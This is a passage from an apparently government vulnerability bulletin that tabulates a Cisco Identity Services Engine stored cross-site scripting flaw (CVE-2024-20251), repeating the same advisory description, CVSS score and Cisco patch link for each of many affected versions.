Affected Version(s): 2.0					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/199

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 002.004\\(000.914\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/200

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 002.006\\(000.156\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/201

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 002.007\\(000.356\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/202

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 003.000\\(000.458\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/203

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 1.0.4					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/204

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 1.1					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/205

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 1.1.1					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information.	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/206

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-20251		
Affected Version(s): 1.1.2					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/207

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): 1.1.3					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/208
Affected Version(s): 1.1.4					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/209
Affected Version(s): 1.2					
Improper Neutralizat	17-Jan-2024	5.4	A vulnerability in the web-based	https://sec.cloudapps.cisco.com	A-CIS-IDEN-130224/210

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
ion of Input During Web Page Generation ('Cross-site Scripting')			management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**	/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	
Affected Version(s): 1.2.1					
Improper Neutralization of Input	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco	https://sec.cloudapps.cisco.com/security/center/content/Cisco	A-CIS-IDEN-130224/211

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
During Web Page Generation ('Cross-site Scripting')			Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**	SecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	
Affected Version(s): 1.2\\(1.199\\)					
Improper Neutralization of Input During Web Page	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisor	A-CIS-IDEN-130224/212

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Generation ('Cross-site Scripting')			allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**	y/cisco-sa-ISE-XSS-bL4VTML	
Affected Version(s): 1.3					
Improper Neutralization of Input During Web Page Generation	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated,	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/213

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Cross-site Scripting')			remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 1.3\\(0.722\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/214

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 1.3\\(0.876\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/215

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 1.3\\(0.909\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/216

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 1.3\\(106.146\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/217

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 1.3\\(120.135\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/218

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 1.4					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/219

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 1.4\\(0.109\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/220

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 1.4\\(0.181\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/221

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 1.4\\(0.253\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/222

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 1.4\\(0.908\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/223

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 2.0.1					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/224

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 2.0\\(0.147\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/225

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 2.0\\(0.169\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/226

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 2.0\\(0.222\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/227

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 2.0\\(0.234\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information.	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/228

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-20251		
Affected Version(s): 2.0\\(0.249\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/229

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): 2.0\\(0.306\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/230
Affected Version(s): 2.0\\(1.130\\)					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/231
Affected Version(s): 2.1					
Improper Neutralizat	17-Jan-2024	5.4	A vulnerability in the web-based	https://sec.cloudapps.cisco.com	A-CIS-IDEN-130224/232

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
ion of Input During Web Page Generation ('Cross-site Scripting')			management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**	/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	
Affected Version(s): 2.1\\(0.474\\)					
Improper Neutralization of Input	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco	https://sec.cloudapps.cisco.com/security/center/content/Cisco	A-CIS-IDEN-130224/233

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
During Web Page Generation ('Cross-site Scripting')			Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**	SecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	
Affected Version(s): 2.1\\(0.476\\)					
Improper Neutralization of Input During Web Page	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisor	A-CIS-IDEN-130224/234

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Generation ('Cross-site Scripting')			allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**	y/cisco-sa-ISE-XSS-bL4VTML	
Affected Version(s): 2.1\\(0.800\\)					
Improper Neutralization of Input During Web Page Generation	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated,	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/235

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Cross-site Scripting')			remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 2.1\\(0.904\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/236

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 2.1\\(0.907\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/237

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
